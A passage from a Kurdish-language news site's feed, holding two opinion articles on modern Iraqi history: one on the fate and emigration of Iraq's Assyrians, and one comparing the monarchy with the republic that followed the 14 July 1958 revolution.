ئاشۆریان قه‌ستا ده‌رڤه‌ى وه‌لاتى كرن، و نها رێژه‌یا پتر و پتر ژ ئاشۆریان ل ده‌رڤه‌ى وه‌لاتینه‌.
ل 16/نیسانا/1972 سه‌رۆكێ ئیراقێ یێ وى سه‌رده‌مى (ئه‌حمه‌د حه‌سه‌ن به‌كر) بریارا ده‌رخستنا قانوونا خواندنا ب زمانێ سریانى ده‌رێخست، پشتى ڤێ قانوونێ هه‌تا راده‌كێ بارودۆخێن وان باشتر بوون كو شیان ب زمانێ سریانی وانه‌ بهێنه‌ گۆتن ل گه‌له‌ك قوتابخانان، دیسا رۆژنامه‌گه‌ریا سریانى به‌ر ب هه‌وایه‌كا باش كه‌فت و چه‌ند رۆژنامێن سریانى هاتنه‌ ده‌رێخستن، و دیسا پارت و یانه‌ و رێكخستنێن سیاسی و ره‌وشه‌نبیرى هاتنه‌ ڤه‌كرن.
ل سالا 1992 پشتى دروستبوونا حوكمه‌تا كوردستانێ ئاشۆریێن ئیراقێ هاتنه‌ دابه‌شكرن بۆ دو پشكان، پشكه‌ك ل بن حوكمرانیا به‌عسیان، و به‌شێ دیتر ل بن سیبه‌را حوكمه‌تا كوردستانێ، هه‌تا كه‌فتنا رژێما به‌عس ل بوهارا 2003، زه‌نگه‌كا دى یا كۆچكرنا ئاشۆریان ده‌ستپێكر. كو ب ده‌هان كه‌س و كه‌نیشته‌ هاتنه‌ تیرۆركرن، سه‌دان خێزان ده‌ربه‌ده‌رى وه‌لاتێن جیهانێ بوون، پشكه‌ك ژ وان هاتنه‌ هه‌رێما كوردستانێ پشتى ده‌رگه‌هێن هه‌رێمێ بۆ هاتنه‌ ڤه‌كرن. هه‌تا هاڤینا 2014 و هاتنا چه‌كدارێن داعش جاره‌كا دى زه‌نگا مه‌ترسیێ یا ئاشۆریان لێدا ژبۆ ڤالابوونا وه‌لاتى ژ ئێك نه‌ته‌وێن ره‌سه‌ن. ب سه‌دان خێزان به‌ر ب وه‌لاتێن جیهانێ ڤه‌چوون. و نوكه‌ سه‌نگا ملله‌تێ ئاشۆرى ل كوردستانێ یه‌.
هه‌رده‌م ئاشۆرى بوونه‌ جهێ باوه‌ریێ و د ناڤ هه‌مى نه‌ته‌وێن دیتر ل ئیراقێ، دیسا هه‌رده‌م داخوازا ئاشتیێ و پێكڤه‌ژیانى دكر دهه‌مى حوكمرانیێن ئیراقێ دا، و به‌روڤاژى وێ چه‌ندێ مافێن وان زوی ب زوى نه‌ دهاتنه‌ دانان ژلایێ حوكمه‌تێن ئیراقى، هه‌تا نها ئه‌ڤه‌یه‌ ناما وان بۆ ژیانێ ل ده‌ڤه‌رێ. و هه‌تا چ راده‌ ئه‌ڤ نامه‌ دێ هێته‌ قه‌بوولكرن، و ن بنه‌ ئارمانجا چو لایه‌نێن دیتر. و جهێ پرسیارێ یه‌ یا د سه‌دا بهێت دا دێ چ روودان هێنه‌ سه‌رێ وان. یان دێ بنه‌ كه‌سانێن راسته‌قینه‌ بۆ برێڤه‌برنا وه‌لاتى.

]]> https://rojnameyaevro.com/ku/%d8%a6%d8%a7%d8%b4%db%86%d8%b1%d9%89-%d8%af-%d8%b3%d9%87%e2%80%8c%d8%af-%d8%b3%d8%a7%d9%84%db%8c%d8%a7-%d8%a6%db%8c%d8%b1%d8%a7%d9%82%db%8e-%d8%af%d8%a7-1921-%d9%80-2021/196150/feed/ 0 شۆره‌شا 14 تیرمه‌هێ د ناڤبه‌را شاهاتیێ و كۆماریێ دا https://rojnameyaevro.com/ku/%d8%b4%db%86%d8%b1%d9%87%e2%80%8c%d8%b4%d8%a7-14-%d8%aa%db%8c%d8%b1%d9%85%d9%87%e2%80%8c%d9%87%db%8e-%d8%af-%d9%86%d8%a7%da%a4%d8%a8%d9%87%e2%80%8c%d8%b1%d8%a7-%d8%b4%d8%a7%d9%87%d8%a7%d8%aa%db%8c/155548/ https://rojnameyaevro.com/ku/%d8%b4%db%86%d8%b1%d9%87%e2%80%8c%d8%b4%d8%a7-14-%d8%aa%db%8c%d8%b1%d9%85%d9%87%e2%80%8c%d9%87%db%8e-%d8%af-%d9%86%d8%a7%da%a4%d8%a8%d9%87%e2%80%8c%d8%b1%d8%a7-%d8%b4%d8%a7%d9%87%d8%a7%d8%aa%db%8c/155548/#comments Thu, 18 Jul 2019 09:16:24 +0000 http://evronews.net/ku/?p=155548 لۆرنس نادر
به‌رى چه‌ند رۆژان دا بیره‌وه‌ریا 61 سالیا روودانا شۆره‌شا 14 ته‌موزا 1958 ل عیراقێ بوو، پشتى ڤێ شۆره‌شێ دو جۆره‌ بیروچوون یان دو چینێن جودا په‌یدا بوون، بیروچوونه‌ك ل گه‌ل سیسته‌مێ شاناهه‌ بوو و لێ بیروچوونا دى ل گه‌ل دروستبوونا ڤێ شۆره‌شێ یه‌ و هاتنا كه‌سایه‌تیا عه‌بدولكه‌ریم قاسم ل سه‌ر ده‌ستهه‌لاتى.
ل 21 ته‌باخا 1921 مه‌مله‌كه‌تا عیراقێ ژلایێ بریتانیا دهێته‌ دامه‌زراندن و (فه‌یسه‌ل یێ ئێكى) كورێ (شه‌ریف حسین) ئیك كه‌سایه‌تیێن به‌رنیاس ل مه‌ككا دبیته‌ شاهێ عیراقێ و ئه‌ڤ مه‌مله‌كه‌ته‌ هه‌تا 1958 دمینیت. ده‌مێ 14 ته‌مۆزا 1958 ب كۆده‌تایه‌كا له‌شكرى هێرش دهێته‌كرن ل سه‌ر سیسته‌مێ حوكمرانیێ و (پاشا فه‌یسه‌ل یێ دووێ) ب خێزان ڤه‌ دهێنه‌ كوشتن ژلایێ كۆمه‌كا (ئه‌فسه‌رێن ئازاد) ب سه‌ركرداتیا عه‌بدولكه‌ریم قاسم و عه‌بدولسه‌لام عارف، هۆسا دووماهیه‌ك بۆ ڤى رژێمى دانا و هۆسا كۆمارا ئێكى یا عیراقێ دهێته‌ دامه‌زراندن و عه‌بدولكه‌ریم قاسم دبیته‌ سه‌رۆك وه‌زیرێ عیراقێ. ل گه‌ل دروستبوونا ڤێ چه‌ندێ دو بیروبۆچوونێن جودا دروستبوون و هه‌ردو بۆچوون هه‌ڤدژى ئێكن، هه‌ر ژ وى سه‌رده‌مى و هه‌تا نوكه‌.
بۆچوونا ئێكێ ئه‌وه‌ كو خه‌لكه‌ك یان چینه‌ك هه‌یه‌ هه‌ر ژ روخاندنا شاهانه‌ ل عیراقێ هه‌تا نوكه‌ ل گه‌ل ڤى سیسته‌مێ نه‌ و ب پیرۆزى سه‌دحكه‌نه‌ ڤێ سه‌رده‌مێ حوكمرانیێ و دبێژن باشترین ده‌م بوو بۆ تاكه‌كه‌سێ عیراقێ د میژوویا نوو و هه‌ڤچه‌رخا عیراقێ دا و تاكه‌كه‌سێ عیراقێ ب ئارامى و سه‌ربه‌ستى و سه‌ربلندى و ئابووره‌كێ ب هێز دژیا و بێ كو بهێته‌ به‌راوردكرن ژ وه‌لاتێن ده‌وروبه‌رى عیراقێ و دبێژن عیراق باشتربوو ژ هه‌موو وه‌لاتێن ڤێ ده‌ڤه‌رێ و وه‌لات سه‌روه‌ریا خوه‌ هه‌بوو، هه‌روه‌سا دبێژن پشتى كه‌فتنا مه‌مله‌كه‌تا عیراقێ عیراق به‌ر ب چه‌ند كۆده‌تایێن له‌شكرى ڤه‌ چوو و خوین هاته‌ رێشتن و ئه‌ڤ وه‌لاته‌ به‌ره‌ ب لاوازیێ و نه‌مانێ ڤه‌ دچیت و سه‌حدكه‌نه‌ هندێ و دبێژن ئه‌وا نها ل عیراقێ دروست دبیت، ئه‌نجامێن وێ چه‌ندێ بوو و چونكى حوكمرانیا عیراقێ دبیته‌ جهێ هه‌ڤركیێ.
بۆچوونا دووێ ئه‌وه‌ ل گه‌ل دروستبوونا ڤێ شۆره‌شێ یه‌ و هاتنا عه‌بدولكه‌ریم قاسم دامه‌زراندنا كۆمارا عیراقێ یا ئێكى بوو. خودانێن ڤێ بۆچوونێ دبێژن هه‌ر چاوا بیت وه‌لات هاته‌ قورتالكرن ل ژێر داگیركرنا بریتانیا و بریتانیا چ تشت دڤیا ل عیراقێ دكر و تایبه‌ت پشتى گرێدانا په‌یمانا بریتانى ـ عیراقى ل سالا1930ز و په‌یمانا بۆرتسمۆس ل سالا 1948ز ب سه‌ركێشیا نوورى سه‌عید. كو پشتى گرێدانا ڤان هه‌ردو په‌یمانان پتر سیاسه‌تا بریتانى ل سه‌ر عیراقێ زال بوو و دووماهیئینانا ڤێ داگیركرنى تشته‌كێ مه‌زن بوو ل ده‌ف پشته‌ڤانێن ڤى شۆره‌شێ و هه‌تا نوكه‌ ب پیرۆزى سه‌حدكه‌نه‌ ئه‌نجامێن ڤى شۆره‌شى و كه‌سایه‌تیا عه‌بدولكه‌ریم قاسم.
لێ هه‌كه‌ نێرینه‌ك بهێته‌كرن ل دۆر هه‌ردو سیسته‌مێن حوكمرانیێ ل عیراقێ، هه‌ردو ئه‌رینى و نه‌رینى هه‌بووینه‌ و چ ژ وانن ته‌مام نه‌بوویه‌، بۆ نموونه‌ ل سه‌رده‌مێ شاهانه‌ دا راسته‌ عیراق یا ب هێز بوو و سه‌روه‌رى و ئارامى هه‌بوو، لێ هه‌ر د وى ده‌مى دا چینه‌كا هه‌ژار و بێ به‌هر هه‌بوویه‌ و هه‌رده‌م ل مافێن خوه‌ دگه‌ریان و وه‌لات یێ داگیر كرى بوو ژ لایێ بریتانیاڤه‌. ژ لایه‌كێ دى ڤه‌ وه‌ك شۆره‌ش ب سه‌ركه‌فتیانه‌ هاته‌ ئه‌نجامدان و وه‌لات ب هه‌موو لایه‌ناڤه‌ (ئابوورى، جڤاكى، رامیارى و ..هتد) هاته‌ گوهۆرین و عه‌بدولكه‌ریم قاسم دهێته‌ سه‌ر ده‌ستهه‌لاتێ و ئه‌ڤ كه‌سه‌ چه‌ندین چاكسازى و گوهۆرین كرن، لێ ل ده‌مێ كۆده‌تایا 8 شباتا 1963 ئه‌ڤ كه‌سه‌ دهێته‌ كوشتن ل سه‌ر ده‌ستێ هه‌ڤالێ خوه‌ و هه‌ڤركێ خوه‌ عه‌بدولسلام عارف و ئه‌ڤ كه‌سه‌ دهێته‌ سه‌ر ده‌ستهه‌لاتێ ل ڤێره‌ هه‌ڤكیشه‌ دهێته‌ گوهۆرین و ل ڤیره‌ ئه‌نجامێن شۆره‌شێ و شۆره‌ش بدووماهى دهێن! لاپه‌ره‌كێ دى بۆ مێژوویا عیراقێ ڤه‌دبیت و وه‌لات به‌ر ب هژماره‌یه‌كا كۆده‌تا هه‌ڤركى ڤه‌ دچیت.
هه‌ڤركیێن توند ل سه‌ر ده‌ستهه‌لاتى په‌یدابوون و هنده‌ك تشتێن نوو ل عیراقێ په‌یدابوون وه‌ك هاتنا پارتا به‌عس یا عه‌ره‌بى و پارته‌كا شۆفێنى بوو، ل دۆر چه‌ند سالان هه‌تا ل سالا 2003ز رژێما به‌عس و سیسته‌مێ دكتاتۆرى بداووى دهێن ده‌مێ ویلایه‌تێن ئێكگرتى یێن ئه‌مریكا عیراق ژ ڤى سیسته‌مى قورتالكرى و ئه‌مریكا دڤیا سیسته‌مه‌كى دیمۆكراسى یێ هه‌ڤچه‌رخ ل عیراقێ بچه‌سپینن و لێ ئه‌ڤ چه‌نده‌ هه‌موو به‌روڤاژى هات و د ئه‌نجام دا عیراق بوو وه‌لاته‌كێ تائیفى مه‌زهبى و به‌ر ب هه‌رفتنێ ڤه‌ دچیت و دبیته‌ ئێك ژ لاوازترین وه‌لات د جیهانێ دا و د میژوویا عیراقێ دا، دوورى (قانوون، ئارامى، ئابوورى، بێ سه‌روه‌رى و لاواز و ..هتد). و لاپه‌ره‌كێ ره‌ش ژ میژوویا كه‌ڤن و نوو یا عیراقێ هاته‌ دروستكرن. ئه‌ڤ چه‌نده‌ دبیته‌ ئه‌نجامێ شۆره‌شا 14 تمۆزا 1958 ل دووڤ هزرا حه‌زین سیسته‌مێ شاهانه‌ ل عیراقێ.

]]> https://rojnameyaevro.com/ku/%d8%b4%db%86%d8%b1%d9%87%e2%80%8c%d8%b4%d8%a7-14-%d8%aa%db%8c%d8%b1%d9%85%d9%87%e2%80%8c%d9%87%db%8e-%d8%af-%d9%86%d8%a7%da%a4%d8%a8%d9%87%e2%80%8c%d8%b1%d8%a7-%d8%b4%d8%a7%d9%87%d8%a7%d8%aa%db%8c/155548/feed/ 0